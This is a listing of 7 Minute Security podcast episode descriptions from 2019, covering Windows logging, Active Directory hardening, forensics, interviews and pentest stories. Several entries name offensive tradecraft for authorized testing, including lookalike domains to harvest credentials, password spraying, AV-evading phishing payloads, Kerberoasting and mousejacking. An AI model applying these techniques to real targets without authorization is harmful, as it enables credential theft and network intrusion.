I also share the outline to my "So You Wanna Start a Security Company?" talk, which includes:
What are the telltale signs that you should start a security company?
How do you find business when everybody and their mom seems to have a security offering?
What are some of the tools/services/people that can help your business succeed?
-
7MS #361: Logging Made Easy
3 mei 2019 · 27 min
Today we're talking about Logging Made Easy, a project that, as its name implies...makes Windows endpoint logging easy! I love it. It offers a simple, digestible walkthrough of several short "chapters" to get started. These chapters include: Lees meer
Chapter 1 - Set up Windows Event Forwarding
Chapter 2 – Sysmon Install
Chapter 3A – Database (Easy Method)
Chapter 3B – Database (Manual Method)
Chapter 4 - Post Install Actions
Besides having a small issue with a batch script (resolved as of 5/3) and a another snafu (that's probably my fault), it's a simple and effective way to get logging spun up in your environment!
-
7MS #360: Active Directory Security 101 - Part 2
25 april 2019 · 22 min
This episode of the 7 Minute Security podcast is brought to you by Netwrix. Netwrix Auditor empowers IT pros to detect, investigate and resolve critical issues before they stifle business activity, and proactively identify and mitigate misconfigurations in critical IT systems that could lead to downtime. For more information, visit netwrix.com. Lees meer
In today's program we continue a series on fundamental Active Directory security that we started back in episode 327. I took all the things I talked about in that episode, as well as the new additions discussed today:
Finding your most vulnerable AD abuse paths with BloodHound. For a two-part pentest tale showing how BloodHound can be used/abused by attackers, check out episodes 353 and 354.
Get a deep-dive look at your AD machines, users, shares, OS versions and more with Network Detective.
How to de-escalate local admins (and prevent them from over-using/abusing the use of their privileged account)
Although I haven't tested it yet, Logging Made Easy looks like an awesome and free way to get some entry-level logging setup in your environment. Can't wait for a good lab day to play!
Here are ALL the AD Security 101 tips in a delicious [gist].
-
7MS #359: Windows 10 Security Baselining
19 april 2019 · 27 min
This episode is brought to you by ITProTV. Visit https://www.itpro.tv/7minsec for over 65 hours of IT training for free! Lees meer
In this episode I explore some ways you can turn up the security heat on your Windows workstations by mapping their security to a hardening standard and/or baseline. Specifically, I cover:
NIST STIG for Windows 10
Heimdal Security - Windows 10 Hardening Guide
Center for Internet Security's security benchmarks
Windows Security Compliance Toolkit (SCT)
I think one path to success is to use the Windows SCT as a way to create a baseline, and then use it - plus some of the other guides and standards - to gradually turn the security screws on the OS. Don't just import a GPO template and turn on 123,456,789 settings at once. You'll likely bring the network to its knees!
Got a better/faster/stronger way to accomplish baselining? Let me know!
-
7MS #358: 4 Ways to Write a Better Pentest Report
16 april 2019 · 40 min
This episode is brought to you by ITProTV. Visit https://www.itpro.tv/7minsec for over 65 hours of IT training for free! Lees meer
This week we're talking about everybody's favorite topic: REPORT WRITING! Yay! The peasants rejoice! In the last few months I've seen a lot of reports from other companies, and here are a few key problems I see with them:
Too long - overall these things are waaAAaAaaAayyyYYYYYYyyy too long. I see reports where the analyst has copied and pasted an entire Nessus report into the main report. Yikes. That makes these things weigh in at hundreds(!) of pages.
Too techie - these reports look like their written from one techie to another. Nothing wrong with that, really, however in many cases the key person that needs to "get it" is a manager or C-level position who needs to understand the risks in plain English.
No narrative - the reports are just a long laundry list of vulnerabilities without any context of how the pentest was conducted or which vulns should be fixed first.
Weak remediation - most of the findings are accompanied by whatever remediation instructions are provided by the vuln-scanner or other tool. We can do better than this!
How? Listen to today's episode :-).
Oh, and don't forget to come to the next 7MS User Group meeting on Monday, April 22! Details here!
-
7MS #357: 7 Minutes of IT and Security Tips
11 april 2019 · 7 min
Today I'm launching an ongoing series called 7MOIST. It stands for: Lees meer
7
Minutes
of
IT
and
Security
Tips
The wildest, craziest, nuttiest part of this series is that each episode will be 7 minutes long!
I know, I know! You're saying, "Wait a sec, bub, isn't that why this podcast is called 7 Minute Security in the first place?" And yes, you'd be right.
Basically, this is my way of going old school and getting back my podcast "roots" by delivering an episode before we had an intro jingle, interviews, sponsors, banter about hot cocoas or an outro song. Nothing but delicious content today friends, Enjoy!
Today's theme is:
Windows command line shortcuts and tips:
Creative ways to play with cmd
Basically, you can do Windows Key + R then type cmd and Enter for quick access to command line.
But lets do some more fun stuff. Wanna open a command window from the desktop and launch a command in one swoop? Try this:
cmd /k
For example:
cmd /k ping 192.168.0.1
The cmd /k part opens a command window, and then ping 192.168.0.1 can be whatever command you also want to run on the fly.
And if you want to start programs and/or open files right from the command line, you can do that (in most cases) by just typing the program name, like:
notepad
Or, get really fancy and add a document name after the command. For example:
notepad meow.txt
If meow.txt doesn't exist, Notepad will simply ask you to create it!
Finding files faster
Call me crazy, but the Windows find/search feature sometimes doesn't find stuff that I know is there. So I still like using old school DOS commands for this. I might do something like:
cd \ dir /s *brian*.doc
The dir stands for directory, and the /s tells the system to search recursively.
See 7ms.us for the rest of today's show notes!
-
7MS #356: Faster Hard Drive Forensics with CyLR and CDQR
3 april 2019 · 24 min
This episode is brought to you by ITProTV. Visit https://www.itpro.tv/7minsec for over 65 hours of IT training for free! Lees meer
In today's episode I talk about some cool tools you can use to start a hard drive forensics investigation more quickly. Resources talked about on today's podcast include:
Forensics 101 - a talk I did for the 7MS user group in January
The Digital Forensics Survival Podcast is a FANTASTIC resource to learn more about forensics
CyLR works great to do quick live disk artifact-gathering on a suspect system, and then...
CDQR can step in and analyze the info you gathered with CyLR and spit out helpful reports to begin your investigation
YouTube video of the CyLR/CDQR creators demonstrating the tools and doing a live demo of artifact collection/analysis
Did you miss this week's mousejacking Webinar? Also, DIY $500 Pentest Lab - Part 2 is up on YouTube. And we've got a fun Webinar on MITRE ATT&CK coming up in May. Sign up here
-
7MS #355: Mousejacking!
27 maart 2019 · 28 min
This episode is brought to you by Netwrix Auditor, which empowers IT pros to detect, investigate and resolve critical issues before they stifle business activity, and proactively identify and mitigate misconfigurations in critical IT systems that could lead to downtime. Lees meer
In this episode, we talk about the Mousejacking attack, which allows someone with a crazy radio (or other similar device) to inject keystrokes into vulnerable keyboards and mice. Yikes!
Not trying to be a doom and gloom guy here, but using this Mousejacking attack, pentesters/attackers could take over your entire Active Directory in just seconds - from the parking lot! I'll talk about how exactly that could be done - as well as ways to defend against mousejacking - in today's episode.
If this episodes primes your appetite for more Mousejackin' fun, join me and my pals Paul and Dan for a deep-dive Mousejacking Webinar on Tuesday, April 2 at 12 p.m. CST!
Some resources talked about in today's episode:
Mousejack.com - great demo video of the attack
Crazy Radio PA - one hardware option to perform mousejacking attacks
Custom mousejacking firmware for Crazy Radio PA
Jackit - tool for conducting mousejack attacks
A cool Twitter thread on using mousejacking for pentests
Vulnerable devices - nice repository of devices known to be susceptible to mousejacking attacks
-
7MS #354: Tales of Internal Pentest Pwnage - Part 2
25 maart 2019 · 38 min
Today's episode is the thrilling, exciting, heart-pounding conclusion of Tales of Internal Pentest Pwnage - Part 1. In this episode, we cover the final "wins" that got me to Domain Admin status (and beyond!): Lees meer
Got DA but can't get to your final "crown jewels" destinations? How about going after the organization's backups (evil grin!)
Got DA but stuck to find hot leads to where the crown jewels are? Get snoopy and go through people's files, folders and...bookmark caches! (evil grin #2!)
If your nmap/eyewitness scan turns up Web sites with simply an IIS default landing page or "It works!" Apache page on it, there's probably more there than meets the eye.
We also talk about lessons learned from this pentest - both things done well and things the org can do to make the next pentester's job a lot harder.
-
7MS #353: Tales of Internal Pentest Pwnage - Part 1
22 maart 2019 · 43 min
Buckle up! This is one of my favorite episodes. Lees meer
Today I'm kicking off a two-part series that walks you through a narrative of a recent internal pentest I worked on. I was able to get to Domain Admin status and see the "crown jewels" data, so I thought this would be a fun and informative narrative to share. Below are some highlights of topics/tools/techniques discussed:
Building a pentest dropbox
The timing is perfect - my pal Paul (from Project7) and Dan (from PlexTrac) have a two-part Webinar series on building your own $500 DIY Pentest Lab, but the skills learned in the Webinars translate perfectly into making a pentest dropbox. Head to our webinars page for more info.
Securing a pentest dropbox
What I did with my Intel NUC pentest dropbox is build a few VMs as follows:
Win 10 pro management box with Bitlocker drive encryption and Splashtop (not a sponsor) which I like because it offers 2FA and an additional per-machine password/PIN. I think I spent $100/year for it.
Kali attack box with an encrypted drive (Kali makes this easy by offering you this option when you first install the OS).
Scoping/approaching a pentest
From what I can gather, there are (at least) two popular schools of thought as it relates to approaching a pentest:
From the perimeter - where you do a lot of OSINT, phish key users, gain initial access, and then find a path to privilege from there.
Assume compromise - assume that eventually someone will click a phishing link and give bad guys a foothold on the network, so you have the pentester bring in a Kali box, plug it into the network, and the test begins from that point.
Pentest narrative
For one of the tests I worked on, here were some successes and challenges I had along the way:
Check out the show notes at 7MS.us as there's lots more good info there!
-
7MS #352: Recap of Rad Red Team Training
14 maart 2019 · 35 min
I recently had the awesome opportunity to take the awesome Real World Red Team course put on by Peter Kim, author of The Hacker Playbook series. Lees meer
TLDR and TLDR (too long don't listen): go take this training. Please. Now. The end.
If you want to hear more, check out today's podcast episode where I talk about all the wonderful tidbits I learned from Peter during the training, including:
Doppelganger attacks - does your target have a frequently used site like mail.company.com? Try buying up mailcompany.com with a copy of their email portal (using Social Engineer Toolkit), and the creds might come pouring in!
Get potential usable creds from old breaches (Adobe, Ashley Madison, LinkedIn, Spotify)
Password spraying is often really effective to get you your first set of creds - check out Spray or DomainPasswordSpray
When creating phishing payloads, Veil will help you craft something to bypass AV
When you're in a network and have grabbed your first set of creds, run BloodHound or SharpHound to map the Active Directory and find your high-value targets
Check systems for MS17-010 for some potential easy wins
Look for potential accounts that you can Kerberoast
For more info visit today's show notes on 7ms.us
-
7MS #351: Turn Windows Logging up to 11
6 maart 2019 · 24 min
Today's episode is brought to you by NoteCast. Try it free for 60 days (no credit card required) and enter code 7MS when completing your signup. Lees meer
In today's episode, I talk about how the level of Windows server/client logging out of the box is...not really awesome. I then look at how we can create a GPO that turns logging "up to 11" using some free tools and cheat sheets.
If you want to simulate this in your own lab by building out an Active Directory environment, check out part 1 of a Webinar series we've been working on called DIY $500 Pentest Lab, which helps you select hardware/software components you need to build a lab. Then coming up soon is part 2 where we'll build out a Windows 2012 server, promote it to a DC, join a couple clients to it, and prepare to start hacking!
Once your AD and clients are setup, you can start slurping up their logs for free using a Papertrailapp account (not a sponsor). I went ahead and paid for a $7/mo plan so I could get 1GB of storage and a little longer log retention.
Then, I used LOG-MD to audit a Windows workstation and get some great recommendations on what registry settings and security policy tweaks to make. Finally, I started turning this into a GPO so I could begin pushing out these settings en masse. My living/breathing document to capture all this information is in a new gist that I plopped here.
-
7MS #350: Interview with Lewie Wilkinson of Pondurance
21 februari 2019 · 1 uur
Today's featured interview is with Lewie Wilkinson, senior integration engineer at Pondurance. Pondurance helps customers improve their security posture by providing a managed threat hunting and response solution, including a 24/7 SOC. Lewie joined me via Skype to talk a lot about a topic I'm fascinated with: incident response! I had a slew of questions and topics I wanted to discuss, including: Lees meer
Fundamentals of threat hunting
What is threat hunting?
What are the fundamentals to start mastering?
How can someone start developing the core skills to get good at it?
How can sysadmins/network admin, who have a busy enough time already just keeping the digital lights on, handle the mounting pressure to also shoulder security responsibilities as part of their job duties?
What training/cert options are good to build skills in threat hunting?
Lets say you know one of your users has clicked something icky and you suspect compromised machine/creds. You pull the machine off the network and rebuild it. How do you know that you've found/limited the extent of the damage?
Are attackers on networks typically wiping logs on systems as the bounce around laterally?
Anything to add to the low-hanging hacker fruit list?
Why is it so critical to not just have logs, but have verbose logs with rich data you need in an investigation?
When does it make sense to outsource some security responsibilities to a third party?
Learn more about Pondurance at their Web site and Twitter.
-
7MS #349: Interview with Ameesh Divatia of Baffle
14 februari 2019 · 29 min
Today's featured interview is with Ameesh Divatia, cofounder and CEO at Baffle. Baffle offers an interesting approach to data protection that they call data-centric protection, and the idea is you need to protect information at the record level, not just the sort of traditional approach of "encrypt at rest" and call it good. Lees meer
Ameesh sat down with me to talk about a lot of high level data and security privacy concerns, specifically:
Data privacy - it seems like every 15 minutes there's yet another massive data breach. Why is this continuing to happen?
What are the basic security/privacy fundamentals that companies should be doing but, for whatever reason, are not?
GDPR
What does GDPR mean to the average person?
Why it was a data privacy wake-up call for so many?
Have there been any sizable fines issued thus far?
How can data that companies collect on us be processed in a way that doesn't compromise security?
Learn more about Baffle at their Web site and Twitter.
-
7MS #348: Cell Phone Security for Tweenagers
6 februari 2019 · 36 min
Today's episode is brought to you by my friends at safepass.me. Safepass.me is the most efficient and cost-effective solution to prevent Active Directory users from setting a weak or compromised password. It's in compliance with the latest NIST password guidelines, and is the only enterprise solution to protect organizations against credential stuffing and password spraying attacks. Visit safepass.me for more details, and tell them 7 Minute Security sent you to get a 10% discount! Lees meer
This episode focuses on security for families/kids - specifically cell phone security for tweenagers. We hit a milestone in the 7MS household this year because my tweenage son got an iPhone, much to my...uhh...not excitement. So we decided to wrap the following technical and administrative controls around the phone to hopefully make it a pleasant experience for everybody:
Technical
I really dig the Apple family sharing controls, which let you do things like:
Have the phone "sleep" at certain hours
Limit the total amount of screen time per day
Require you to authorize any apps that are downloaded
We turned on OpenDNS to help filter inappropriate content.
I also use UniFi access points, which allow you to create a separate wireless SSID with a voucher system enabled on it. That way, you can hand out vouchers to kids with a defined amount of access attached to it (like 1 hour or whatever you like). We use it as a reward once the kids' chores and homework is complete.
Administrative
For our tweenager with the phone, we wrote up an agreement about acceptable use of the phone - including guidelines around the device's physical security, passwords and PINs, appropriate content, etc. You can grab a copy here
-
7MS #347: Happy 5th Birthday to 7MS
31 januari 2019 · 49 min
Today's episode is brought to you by my friends at safepass.me. Safepass.me is the most efficient and cost-effective solution to prevent Active Directory users from setting a weak or compromised password. It's in compliance with the latest NIST password guidelines, and is the only enterprise solution to protect organizations against credential stuffing and password spraying attacks. Visit safepass.me for more details, and tell them 7 Minute Security sent you to get a 10% discount! Lees meer
Psst...my pals Paul and Dan are hosting a Webinar all about building your own pentest lab for ~$500. This is happening next Tuesday, Feb. 5 at 12 p.m. CST. Sign up here.
Today I thought I'd kind of hit the reset/refresh button and give you a little background on:
My self-diagnosed job ADHD (check out my series on career guidance for the even longer version :-/)
The history of 7MS the podcast (inspired by 10 minute podcast)
How the podcast helped launch 7MS the business
The various resources 7MS has worked on to help you in your IT/security career, such as:
BPATTY - Brian's Pentesting and Technical Tips for You
A Slack channel full of cool security people who want to help you learn, and learn from others as well
Vulnerable VMs to help you practice hacking, such as Billy Madison and Tommy Boy
Thinking about starting your own company? Come see me at Secure360 this summer for my talk called So You Want to Start a Security Company.
-
7MS #346: Baby's First Red Team Engagement
24 januari 2019 · 50 min
WARNING: Today's episode is a bit of an experiment, and I hope you'll hang in there with me for it. Lees meer
I had the opportunity to do a week-long red team engagement, and so I recorded a little summary of the experience at the end of each day, and then pasted them all together to make today's episode.
Listening back to the episode now, it sounds like I might belong on a funny farm. But I thought it would be fun to give you a first-hand account of the experience so you can share the stomach-twisting journey with me.